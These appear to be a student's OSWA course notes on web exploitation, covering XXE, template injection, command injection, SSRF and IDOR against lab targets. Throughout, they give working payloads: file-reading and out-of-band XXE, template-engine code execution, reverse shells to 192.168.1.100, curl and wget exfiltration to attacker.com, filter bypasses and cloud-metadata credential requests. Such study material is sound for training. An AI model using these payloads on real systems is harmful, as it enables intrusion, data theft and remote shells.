Why: Attributes provide metadata; important for distinguishing where to inject payloads.
CDATA Sections
Used to include literal < and > characters:
<![CDATA[ content with < and > characters ]]>
Why: CDATA prevents parser interpretation of special XML characters.
XML Entity Types
Internal Entities
Defined within DTD:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY test "<entity-value>test value</entity-value>">
]>
Reference with &test;
Why: Internal entities are substituted when referenced.
External Entities (Private/SYSTEM)
<!DOCTYPE name [
<!ENTITY offsecinfo SYSTEM "http://www.offsec.com/company.xml">
]>
Why: External entities load data from URLs or file paths.
External Entities (Public)
<!DOCTYPE name [
<!ENTITY offsecinfo PUBLIC "-//W3C//TEXT companyinfo//EN" "http://www.offsec.com/companyinfo.xml">
]>
Why: Public entities may have alternate URIs specified by the public_id.
Parameter Entities
<!ENTITY % course 'WEB 200'>
<!ENTITY Title 'Offensive Security presents %course;'>
Why: Parameter entities (with %) exist only in DTDs and are useful for multi-level entity expansion.
XXE Injection - Testing and Exploitation
Basic XXE Test
Verify entity processing:
<?xml version="1.0" ?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY lastname "Replaced">
]>
<Contact>
<lastName>&lastname;</lastName>
<firstName>Tom</firstName>
</Contact>
Why: If the entity is replaced, the parser processes external entities.
Reading Files
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY lastname SYSTEM "file:///etc/passwd">
]>
<Contact>
<lastName>&lastname;</lastName>
<firstName>Tom</firstName>
</Contact>
Why: External entities with file:// protocol can read local files if the parser expands them and results are displayed.
Error-Based XXE
Force an error to exfiltrate data via error messages:
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<entity-engine-xml>
<Product>
<description>&xxe;</description>
</Product>
</entity-engine-xml>
Place the entity in a field that causes validation errors (e.g., wrong data type or exceeds column length).
Why: Error messages may contain the exfiltrated data.
Out-of-Band XXE
Create external DTD file at /var/www/html/external.dtd:
<!ENTITY % content SYSTEM "file:///etc/timezone">
<!ENTITY % external "<!ENTITY % exfil SYSTEM 'http://your_ip/out?%content;'>" >
XML payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE oob [
<!ENTITY % base SYSTEM "http://your_ip/external.dtd">
%base;
%external;
%exfil;
]>
<entity-engine-xml>
</entity-engine-xml>
Check Apache log for exfiltrated data:
tail /var/log/apache2/access.log
# GET /out?Etc/UTC HTTP/1.1
Why: When direct results aren't available, out-of-band XXE uses parameter entity expansion to send data to an attacker-controlled server.
Case Study: Apache OFBiz XXE Vulnerability
Vulnerable endpoint: /webtools/control/EntityImport
Access credentials:
- URL:
https://ofbiz:8443/webtools - Username:
admin - Password:
ofbiz
Baseline XML (Programmable Export):
<?xml version="1.0" encoding="UTF-8"?>
<entity-engine-xml>
<Product
createdStamp="2021-06-04 08:15:49.363"
productId="XXE-0001"
productName="Test"
productTypeId="FINISHED_GOOD">
<longDescription>This giant widget is mobile.</longDescription>
</Product>
</entity-engine-xml>
Why: This baseline respects the application's expected XML structure.
Test 1: Internal Entity
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY xxe "Vulnerable to XXE">
]>
<entity-engine-xml>
<Product createdStamp="2021-06-04 08:15:49.363" productId="XXE-0001">
<longDescription>&xxe;</longDescription>
</Product>
</entity-engine-xml>
View results in product search (Catalog > Products).
Why: Confirms the parser processes entities and displays results.
Test 2: External Entity (File Reading)
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<entity-engine-xml>
<Product createdStamp="2021-06-04 08:15:49.363" productId="XXE-0001">
<longDescription>&xxe;</longDescription>
</Product>
</entity-engine-xml>
Why: Reads file contents directly into the XML entity.
Test 3: Error-Based XXE
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<entity-engine-xml>
<Product createdStamp="2021-06-04 08:15:48.983">
<description>&xxe;</description>
<longDescription>XXE</longDescription>
</Product>
</entity-engine-xml>
Move the entity reference to the description field to trigger a database column length error that leaks the file contents.
Why: Database truncation errors reveal the xxe entity value in error messages.
Test 4: Out-of-Band XXE
Create /var/www/html/external.dtd:
<!ENTITY % content SYSTEM "file:///etc/timezone">
<!ENTITY % external "<!ENTITY % exfil SYSTEM 'http://your_ip/out?%content;'>" >
Start Apache:
sudo systemctl start apache2
XML payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE oob [
<!ENTITY % base SYSTEM "http://your_ip/external.dtd">
%base;
%external;
%exfil;
]>
<entity-engine-xml>
</entity-engine-xml>
Check logs:
sudo tail /var/log/apache2/access.log
Why: Out-of-band exfiltration works when error-based and direct methods fail.
Key Takeaways
SQL Injection
- Identify vulnerable parameters (input fields, sorting parameters, file operations)
- Enumerate database type and structure (version, databases, tables, columns)
- Exploit using error-based, UNION-based, or stacked queries
- Use sqlmap to automate discovery and exploitation
- Customize payloads for specific database software
Directory Traversal
- Look for file-handling parameters (file=, path=, location=)
- Use
../sequences for relative paths or absolute paths/etc/passwd - URL-encode traversal strings if needed (
..%2F) - Fuzz with wordlists to enumerate accessible files
- Verify directory listing vs. traversal capabilities
XXE Injection
- Test for entity processing with internal entities first
- Exploit external entities to read local files or SSRF
- Use error-based XXE when direct results unavailable
- Leverage out-of-band XXE with parameter entity expansion for blind scenarios
- Always match application's expected XML structure for successful injection
OSWA Study Notes - Part 3: Advanced Web Vulnerabilities
Chapter 10: Server-side Template Injection (SSTI)
Templating Engine Concepts
Theory: Templating engines combine static templates with variables to generate dynamic content. When user input is directly concatenated into templates, attackers can inject template syntax to execute arbitrary code. The severity ranges from XSS to RCE depending on the template engine's capabilities and the language it's bound to.
Key Principle: Discovery requires identifying the template engine, then using engine-specific syntax for exploitation.
Logic Levels:
- Logic-less engines: Basic data display and filters only
- Logical engines: Full access to underlying language, higher RCE risk
Common Engines:
| Engine | Language | Side | Risk |
|---|---|---|---|
| Twig | PHP | Server | High |
| Freemarker | Java | Server | High |
| Pug/Jade | JavaScript | Server | High |
| Jinja | Python | Server | High |
| Handlebars | JavaScript | Both | Medium |
| Mustache | Multiple | Varies | Low-Medium |
Twig (PHP)
Discovery Payload - Arithmetic Test:
{{ 7 * 7 }}
If output is 49, likely Twig (PHP type juggling). Compare with {{ "7" * 7 }} which also returns 49 in PHP.
RCE Payloads:
Basic var_dump:
{{[0]|reduce('var_dump','Hello')}}
Why: Uses reduce filter to execute var_dump on array element, proving code execution.
Command execution:
{{[0]|reduce('system','whoami')}}
Why: reduce() filter passes callable as first argument; 'system' is a PHP function that executes shell commands.
Reverse shell:
{{[0]|reduce('shell_exec','nc -nv 192.168.1.100 9090 -e /bin/bash')}}
Key Twig Filters for Exploitation:
reduce()- Applies callback to reduce arraymap()- Transform array elementsapply()- Apply filter to blockbatch()- Divide array into chunks
Apache Freemarker (Java)
Discovery Payload:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whoami") }
Alternative detection:
${7*7}
Freemarker outputs 49 string (different from Twig).
RCE Payload:
${"freemarker.template.utility.Execute"?new()("whoami")}
Why: Instantiates Execute utility class from Freemarker library and calls it with command string.
Reverse shell:
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","bash","-c","bash -i >& /dev/tcp/192.168.1.100/9090 0>&1").start()}
Pug/Jade (JavaScript)
Discovery Payload:
#{"7"*7}
If outputs 49, likely JavaScript-based engine (Pug/Jade).
RCE Payload:
- var x = require('child_process').exec('whoami')
Why: Pug allows direct access to Node.js require() for code execution.
Alternative:
#{require('child_process').exec('nc -nv 192.168.1.100 9090 -e /bin/bash')}
Jinja (Python)
Discovery Payload:
{{ 7 * 7 }}
{{ "7" * 7 }}
Jinja outputs 49 and 7777777 (string multiplication difference).
RCE Payload - Basic:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }}
RCE Payload - Simplified:
{{ cycler.__init__.__globals__.os.popen('whoami').read() }}
RCE Payload - Reverse Shell:
{{ self.__init__.__globals__.__builtins__.__import__('subprocess').call(['bash','-i','>','/dev/tcp/192.168.1.100/9090','0>&1']) }}
Handlebars/Mustache
Handlebars Discovery:
{{#if true}}Hello{{/if}}
RCE via Object Constructor:
{{#with (this|json)}}
<script>alert('xss')</script>
{{/with}}
SSTI Exploitation Steps
- Test for SSTI: Inject
{{7*7}},${7*7},<%= 7*7 %>,#{ 7*7 }in parameters - Identify Engine: Observe output format, error messages, behavior
- Research Syntax: Check template engine documentation for code execution
- Craft Payload: Use engine-specific RCE technique
- Execute: Deliver payload through vulnerable parameter
Common Injection Points:
- Email template parameters
- Document generation (PDF, etc.)
- Theme/template customization
- Dynamic HTML generation
- User-controlled configuration values
SSTI Bypass Techniques
Obfuscation for WAF:
{{ [].class.__base__.__subclasses__()[408]('whoami',shell=True,stdout=-1).communicate()[0] }}
Alternative Syntax:
{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
Chapter 11: Command Injection
Command Injection Concepts
Theory: Command injection occurs when user input is passed directly to system execution functions without sanitization. Attackers can chain arbitrary commands to gain shell access, exfiltrate data, or modify system state. Impact: Remote Code Execution as application user/process owner.
Key Principle: Any parameter that interacts with OS-level operations (ping, system calls, curl, wget) may be vulnerable.
Command Chaining Operators
Semicolon (;) - Sequential execution regardless of success:
127.0.0.1;id
127.0.0.1;cat /etc/passwd
Always executes both commands.
Logical AND (&&) - Execute second only if first succeeds:
whoami && hostname
192.168.1.1 && cat /etc/shadow
Second command runs only on success (exit code 0).
Logical OR (||) - Execute second only if first fails:
foobar || whoami
nonexistent || cat /etc/passwd
Second command runs only on failure (non-zero exit code).
Pipe (|) - Pass output of first to input of second:
ls | grep txt
whoami | tee output.txt
Backticks (``) or $(...) - Command substitution inline:
echo "Current user is `whoami`"
echo "Current user is $(whoami)"
Discovery Techniques
Basic Test:
http://target/ping.php?ip=127.0.0.1|id
If output shows uid, gid, groups - vulnerable.
Blind Testing:
http://target/ping.php?ip=127.0.0.1;sleep 20
Measure response time. If delayed by ~20 seconds, vulnerable.
Out-of-Band Confirmation: Start listener:
kali@kali:~$ nc -nlvp 9090
listening on [any] 9090 ...
Payload:
http://target/ping.php?ip=127.0.0.1;curl 192.168.1.100:9090
Connection to listener confirms execution.
Payload Execution Methods
Direct Reverse Shell - Netcat:
127.0.0.1|/bin/nc -nv 192.168.1.100 9090 -e /bin/bash
Why: -e flag executes /bin/bash, stdio redirected to nc socket.
URL Encoded Version:
127.0.0.1|/bin/nc%20-nv%20192.168.1.100%209090%20-e%20/bin/bash
Bash Reverse Shell:
bash -i >& /dev/tcp/192.168.1.100/9090 0>&1
Listener setup:
kali@kali:~$ nc -nlvp 9090
Full Bash Payload (URL encoded):
127.0.0.1|bash+-c+'bash+-i+>%26+/dev/tcp/192.168.1.100/9090+0>%261'
Why: bash -c executes command string; >& redirects stdout/stderr; 0>&1 redirects stdin.
Python Reverse Shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",9090));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
URL encoded version:
127.0.0.1;python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.1.100%22,9090));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
Bypassing Filters
Null Byte Injection:
wh$()oami
i$()d
Why: $() is command substitution. Empty command still parses, allowing execution.
Base64 Encoding (bypass keyword blacklists): Encode payload:
kali@kali:~$ echo "cat /etc/passwd" | base64
Y2F0IC9ldGMvcGFzc3dkCg==
Delivery:
127.0.0.1;echo "Y2F0IC9ldGMvcGFzc3dkCg==" | base64 -d | bash
Why: Command blacklist bypassed; base64 decoded at execution time.
Wildcard Usage:
127.0.0.1;c?t /etc/passwd
Why: ? matches single character; expands to 'cat' at shell interpretation.
Fuzzing for Bypass
Wordlist:
;id
|id
`id`
i$()d
;i$()d
$(sleep 5)
`sleep 10`
Fuzzing Command:
kali@kali:~$ wfuzz -c -z file,wordlist.txt --hc 404 http://target:80/php/blocklisted.php?ip=127.0.0.1FUZZ
Suppress Known Responses:
wfuzz -c -z file,wordlist.txt --hc 404 --hh 1156 http://target/page.php?ip=127.0.0.1FUZZ
Why: --hh hides responses of exact byte size (filters false positives).
Capability Enumeration
Check for Available Tools:
which nc
which wget
which curl
which python
Fuzzing multiple capabilities:
kali@kali:~$ wfuzz -c -z file,capabilities.txt --hc 404 "http://target:80/php/index.php?ip=127.0.0.1;which FUZZ"
Wordlist:
w00tw00t
wget
curl
python
bash
nc
cc
gcc
php
Tools
netcat (nc):
nc -nlvp 9090 # Start listener
nc -nv 192.168.1.100 9090 -e /bin/bash # Reverse shell
Burp Suite Repeater: Craft multi-payload tests with full HTTP control.
curl/wget: For out-of-band data exfiltration:
curl http://attacker.com/?data=$(whoami)
wget --post-data="$(cat /etc/passwd)" http://attacker.com/
Chapter 12: Server-side Request Forgery (SSRF)
SSRF Concepts
Theory: SSRF occurs when an application makes requests based on user input, allowing attackers to make the server request arbitrary resources. Since requests originate from the server, they can access internal resources, bypass firewalls, and enumerate internal networks.
Key Principle: Application server becomes an unwilling proxy for attacker requests.
Impact Scenarios:
- Access to localhost services (admin panels, debug info)
- Interact with internal microservices
- Access cloud metadata services (AWS, GCP)
- Read local files (file:// scheme)
- Bypass authentication/IP restrictions
SSRF Types
Basic SSRF (Data Exfiltration): Application returns response content to attacker.
http://target/fetch?url=http://localhost/admin
Blind SSRF (No Content): Application only confirms request was made (via logging, timing, or side effects).
http://target/verify?url=http://attacker.com/unique_path
Discovery
Look for URL Parameters:
url,uri,link,image,file,fetch,download- Any parameter accepting URLs or file paths
File Upload from URL:
Form: Upload Image from URL
Parameter: image_url
Link Verification:
http://target/preview?url=http://www.example.com
http://target/verify?link=http://www.example.com
Exploitation - Loopback Interface
Access Localhost Services:
http://target/preview?url=http://127.0.0.1:8080
http://target/preview?url=http://localhost/status
http://target/preview?url=http://0.0.0.0:9000
Why: Server makes request from itself, bypassing firewall restrictions on loopback.
Enumerate Internal Ports:
http://target/preview?url=http://127.0.0.1:22
http://target/preview?url=http://127.0.0.1:3306
http://target/preview?url=http://127.0.0.1:5432
http://target/preview?url=http://127.0.0.1:6379
Timing differences or response content reveals open ports.
Exploitation - File Scheme
Read Local Files (if curl user-agent):
http://target/preview?url=file:///etc/passwd
http://target/preview?url=file:///etc/shadow
http://target/preview?url=file:///etc/hosts
http://target/preview?url=file:///home/user/.ssh/id_rsa
Why: Curl supports file:// scheme; requests Python Requests library does not.
Windows File Access:
http://target/preview?url=file:///c:/windows/win.ini
http://target/preview?url=file:///c:/windows/system32/drivers/etc/hosts
Exploitation - Gopher Protocol
Uses curl support for Gopher to send raw HTTP requests with custom methods/headers.
Setup netcat listener:
kali@kali:~$ nc -nvlp 9000
listening on [any] 9000 ...
Test basic Gopher:
curl gopher://127.0.0.1:9000/hello_gopher
Note: First path character truncated.
Send HTTP GET via Gopher:
curl gopher://127.0.0.1:80/_GET%20/status%20HTTP/1.1%0a
Why: Leading _ is truncated, leaving "GET /status HTTP/1.1". %0a is newline.
Send HTTP POST via Gopher:
curl gopher://127.0.0.1:80/_POST%20/status%20HTTP/1.1%0a
Works with curl, useful for bypassing GET-only restrictions.
Full HTTP Request via Gopher:
gopher://127.0.0.1:80/_GET%20/api/data%20HTTP/1.1%0aHost:%20127.0.0.1%0a%0a
Includes Host header and blank line for full HTTP request.
Exploitation - Cloud Metadata
AWS EC2 Metadata (link-local):
http://target/preview?url=http://169.254.169.254/latest/meta-data/
http://target/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://target/preview?url=http://169.254.169.254/latest/user-data
Google Cloud Metadata:
http://target/preview?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true
Requires header: Metadata-Flavor: Google
Azure Metadata:
http://target/preview?url=http://169.254.169.254/metadata/instance?api-version=2019-02-01
Verification Techniques
Out-of-Band Verification (Blind SSRF):
Start web server:
kali@kali:~$ sudo systemctl restart apache2
Payload with unique identifier:
http://target/verify?url=http://192.168.1.100:80/unique_ssrf_identifier
Check logs:
kali@kali:~$ sudo tail /var/log/apache2/access.log
192.168.50.101 - - [17/Nov/2021:10:34:02 -0500] "GET /unique_ssrf_identifier HTTP/1.1" 404 437 "-" "python-requests/2.26.0"
User-Agent reveals technology (e.g., python-requests, curl, Go http client).
Private IP Ranges
Target ranges for internal network enumeration:
| Range | Count | Purpose |
|---|---|---|
| 10.0.0.0/8 | 16.7M | Class A Private |
| 172.16.0.0/12 | 1M | Class B Private |
| 192.168.0.0/16 | 65k | Class C Private |
Tools & Requests
curl: Primary tool for SSRF payloads due to multiple scheme support.
curl http://127.0.0.1:8080
curl file:///etc/passwd
curl gopher://127.0.0.1:80/_GET%20/status%20HTTP/1.1%0a
Burp Suite: Construct requests with Repeater for precise URL control.
Simple SSRF Tester:
curl -s http://target/preview?url=http://192.168.1.100:80/test -w '%{size_download}'
Byte size can indicate successful vs. error responses.
Chapter 13: Insecure Direct Object Referencing (IDOR)
IDOR Concepts
Theory: IDOR occurs when a web application uses user-supplied references to access objects (files, database records, resources) without proper authorization checks. Attackers can modify reference values to access resources belonging to other users.
Key Principle: Authorization must be checked for every request, not just assumed from user session.
Types of References:
- Sequential numeric IDs (1, 2, 3...)
- UUIDs/GUIDs (alphanumeric)
- File paths or names
- Routing parameters
- Hash-based identifiers
IDOR Types
Static File IDOR:
http://idor-sandbox/docs/?f=1.txt
http://idor-sandbox/docs/?f=2.txt
http://idor-sandbox/docs/?f=3.txt
Why: No authorization check; incrementing f parameter exposes all files.
Database Object IDOR (ID-Based):
http://idor-sandbox/customerPage/?custId=1
http://idor-sandbox/customerPage/?custId=2
Why: custId directly references database rows without permission validation.
Routing-Based IDOR (URL Segments):
/users/18293017/documents/file-15
/trains/LVIV-ODESSA
/book/1996-GeorgeRRMartin
Why: Path segments contain object identifiers that can be iterated.
Discovery
Identify Parameters:
- Look for numeric IDs in URLs/parameters
- Check for sequential or predictable values
- Search for file references, user IDs, order IDs
- Examine API responses for object IDs
Parameters to Test:
?id=
?userId=
?customerId=
?orderId=
?documentId=
?fileId=
?uid=
?user_id=
Response Comparison:
- Same response size for different IDs = no data returned
- Different sizes = different data (possible IDOR)
- Visual differences = confirmed IDOR
Exploitation - Static File
Basic Iteration:
http://idor-sandbox/docs/?f=1.txt → Shows "Coffee machine needed"
http://idor-sandbox/docs/?f=2.txt → Shows "John Smith, Organ Donor: Yes"
http://idor-sandbox/docs/?f=3.txt → Shows "..."
Manual Testing: Manually change f parameter in Burp Suite Repeater and compare responses.
Exploitation - Database Object
Baseline Response:
kali@kali:~$ curl -s http://idor-sandbox/user/?uid=62718 -w '%{size_download}'
2873
Get Valid Session (Authenticated IDOR): Intercept login request in Burp Suite to capture session cookie.
Brute Force with Baseline:
kali@kali:~$ curl -s http://idor-sandbox:80/user/?uid=91191 -w '%{size_download}' \
--header "Cookie: PHPSESSID=2a19139a5af3b1e99dd277cfee87bd64"
2873
Note: 2873 bytes is error response. Look for different sizes.
Fuzzing with wfuzz
Setup:
# Get valid response size for invalid UID
curl -s http://idor-sandbox:80/user/?uid=91191 -w '%{size_download}' \
--header "Cookie: PHPSESSID=abc123"
# Result: 2873 bytes
Fuzz with Seclists wordlist:
wfuzz -c -z file,/usr/share/seclists/Fuzzing/5-digits-00000-99999.txt \
--hc 404 --hh 2873 \
-H "Cookie: PHPSESSID=2a19139a5af3b1e99dd277cfee87bd64" \
http://idor-sandbox:80/user/?uid=FUZZ
Key Options:
-c: Colorized output-z file,WORDLIST: Load wordlist--hc 404: Hide 404 responses--hh 2873: Hide responses of exactly 2873 bytes-H "Cookie: ...": Include session cookie
Output Example:
ID Response Lines Word Chars Payload
000011112: 200 76 L 174 W 2859 Ch "11111"
000016328: 200 76 L 174 W 2860 Ch "16327"
000023102: 200 76 L 174 W 2874 Ch "23101"
Exploit Valid IDs:
http://idor-sandbox/user/?uid=57191 → Retrieve user "McLovin" data
http://idor-sandbox/user/?uid=16327 → Retrieve another user's data
Advanced IDOR Techniques
UUID Enumeration: If UUIDs follow pattern (sequential, hash-based), attempt to:
- Collect multiple valid UUIDs from application responses
- Analyze for patterns
- Generate or predict additional UUIDs
- Test with IDOR endpoints
Multi-Parameter IDOR:
http://target/api/users/123/documents/456
Fuzz both user ID and document ID independently.
Parameter Pollution:
http://target/document?id=hacker&user_id=victim
Some frameworks process last parameter only; test variations.
Case Variation:
http://target/document?ID=123 (vs ?id=123)
http://target/document?userId=123 (vs ?userid=123)
Case Study Approach: OpenEMR
Discovery Process:
- Explore application for interesting functionality
- Identify parameters with numeric IDs
- Test incrementing/decrementing IDs
- Verify access to other users' data
Example Vulnerable Endpoint:
GET /index.php?r=patient/message/printmessage?noteid=11
Parameter noteid allows direct access to any message by ID.
Exploitation:
noteid=11 → Access message ID 11
noteid=10 → Access message ID 10 (different user's data)
noteid=9 → Continue decrementing to find sensitive data
Impact: Access to patient medical records, staff communications, sensitive information.
Tools
Burp Suite:
- Repeater: Manually test different parameter values
- Intruder: Automate ID iteration and comparison
- Comparison: Side-by-side response analysis
wfuzz:
wfuzz -c -z range,1-1000 --hc 404 http://target/user?id=FUZZ
Fuzz ID range 1-1000, hide 404s.
curl Loop:
for i in {1..100}; do
echo "Testing ID: $i"
curl -s http://target/user?id=$i | grep -o "<title>.*</title>"
done
Chapter 14: Assembling the Pieces - Web App Assessment
Assessment Methodology
Reconnaissance:
- Identify all input parameters
- Map application functionality
- Enumerate endpoints (via Burp history, crawling)
- Identify authentication mechanisms
- Note third-party services/APIs
Vulnerability Testing: Test each parameter/endpoint for:
- SSTI (template injection)
- Command injection
- SSRF (request forgery)
- IDOR (authorization bypass)
- SQL injection
- XSS
- Authentication bypass
Exploitation:
- Chain vulnerabilities when possible
- Escalate privileges
- Achieve RCE for maximum impact
- Document findings with POC
Common Attack Chains
Authentication Bypass + IDOR:
- Bypass authentication to gain low-privileged access
- Use IDOR to access admin data
- Escalate privileges via exposed credentials
SSRF + Command Injection:
- Use SSRF to reach internal service
- Service accepts command injection
- Execute RCE via forged request
SSTI + File Read:
- Find SSTI in template
- Use template engine file functions
- Read application source code
- Identify additional vulnerabilities
IDOR + SSTI:
- Use IDOR to access template files
- If template is user-editable via IDOR, inject SSTI
- Achieve RCE through template
Enumeration Checklist
Parameters to Test:
- All URL parameters (?param=value)
- All POST/PUT body parameters
- All HTTP headers (User-Agent, Referer, etc.)
- Cookies and session tokens
- File upload functionality
- Search/filter parameters
Endpoint Discovery:
- Burp Suite Site Map (Ctrl+Shift+O)
- Burp Suite Spider (crawl all links)
- Manual directory traversal (common paths)
- JavaScript source code (API endpoints)
- API documentation
User Roles to Test:
- Unauthenticated user
- Low-privilege user
- High-privilege/admin user
- Cross-user (test access between users)
Tools & Workflow
Burp Suite Core Workflow:
- Enable Intercept for login flow
- Disable Intercept for browsing (Ctrl+I toggles)
- Review all requests in HTTP History
- Send interesting requests to Repeater (Ctrl+R)
- Send POST requests to Intruder for fuzzing
- Compare responses side-by-side
- Document findings with screenshots
Proxy Logging: Enable logging of all traffic for post-assessment review.
Parameter Extraction:
# Extract all parameters from Burp history export
cat burp_history.xml | grep -oP 'name="[^"]*"' | sort -u
Exploitation Priority
By Impact:
- Remote Code Execution (RCE) - Critical
- Authentication Bypass - Critical
- Privilege Escalation - High
- Sensitive Data Disclosure - High
- IDOR/Authorization Bypass - Medium-High
- SSRF - Medium-High
- XSS - Medium
By Feasibility:
- IDOR (high success rate)
- SSRF (reliable if found)
- Command Injection (depends on input validation)
- SSTI (engine-dependent)
- Authentication bypass (varies)
Reporting
For Each Finding:
- Title: Vulnerability type and location
- Severity: CVSS score or qualitative
- Description: How vulnerability works
- POC: Step-by-step reproduction
- Impact: What attacker can do
- Remediation: How to fix
- References: CVE, OWASP, CWE
Example POC:
1. Browse to http://target/user?id=1
2. Note response shows "User: John"
3. Change id parameter to id=2
4. Response shows "User: Jane" (unauthorized access)
5. Repeat with id=3, 4, 5... to enumerate all users
6. Access users' email, phone, address data
Summary: Attack Surface Mapping
Template-Based Applications:
- Test all user-controlled data rendered in templates
- Identify template engine from syntax/errors
- Exploit with engine-specific payloads
Command-Dependent Applications:
- Find parameters affecting OS-level operations
- Test command separators (;, |, &&, ||)
- Chain commands for RCE
Proxy Applications:
- Locate URL parameters in requests
- Test loopback, file://, cloud metadata
- Use file:// and gopher:// for advanced exploitation
Direct Object References:
- Map all numeric/sequential IDs in application
- Enumerate IDs via fuzzing
- Verify authorization for each request
Combined Assessment:
- Chain multiple vulnerabilities
- Escalate from info disclosure to RCE
- Document complete attack flow